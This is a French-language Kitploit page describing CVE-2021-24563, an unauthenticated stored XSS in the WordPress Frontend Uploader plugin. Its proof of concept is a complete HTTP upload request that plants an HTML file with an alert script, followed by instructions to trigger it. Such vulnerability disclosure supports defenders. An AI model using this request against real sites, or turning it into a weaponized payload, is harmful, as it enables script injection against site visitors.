Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-24563 — Le plugin n'empêche pas le téléversement de fichiers HTML via son formulaire, permettant à un utilisateur non authentifié de téléverser un fichier HTML malveillant contenant par exemple du JavaScript, qui sera déclenché lorsque quelqu'un accède directement au fichier. | Kitploit
Outils/GitHubGitHub/v35hr4j/cve-2021-24563
Analyse des VulnérabilitésExploitationExploitation d'Applications WebHameçonnageTests d'Intrusion
GitHubv35hr4j/cve-2021-24563

CVE-2021-24563

Le plugin n'empêche pas le téléversement de fichiers HTML via son formulaire, permettant à un utilisateur non authentifié de téléverser un fichier HTML malveillant contenant par exemple du JavaScript, qui sera déclenché lorsque quelqu'un accède directement au fichier.

Voir le dépôt
12il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-24563

Frontend Uploader <= 1.3.2 - Cross-Site Scripting stocké non authentifié

Le plugin n'empêche pas le téléversement de fichiers HTML via son formulaire, permettant à un utilisateur non authentifié de téléverser un fichier HTML malveillant contenant par exemple du JavaScript, qui sera déclenché lorsque quelqu'un accède directement au fichier.

Preuve de concept

Dans une page ou des articles où le shortcode [fu-upload-form] est intégré, il suffit de téléverser un fichier HTML via le formulaire généré.

root@kitploit:~

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------124662954015823207281179831654
Content-Length: 1396
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_ID"

1247
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_title"

test
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_content"

test
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="files[]"; filename="xss.html"
Content-Type: text/html

<script>alert(/XSS/)</script>
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="action"

upload_ugc
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="form_layout"

image
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="fu_nonce"

021fb612f9
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="_wp_http_referer"

/wordpress/frontend-uploader-form/
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="ff"

92b6cbfa6120e13ff1654e28cef2a271
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="form_post_id"

1247
-----------------------------124662954015823207281179831654--


Then access the uploaded to trigger the XSS, ie https://example.com/wp-content/uploads/2021/07/xss.html

Vidéo POC:

https://www.youtube.com/watch?v=lfrLoHl4-Zs

Télécharger l’outil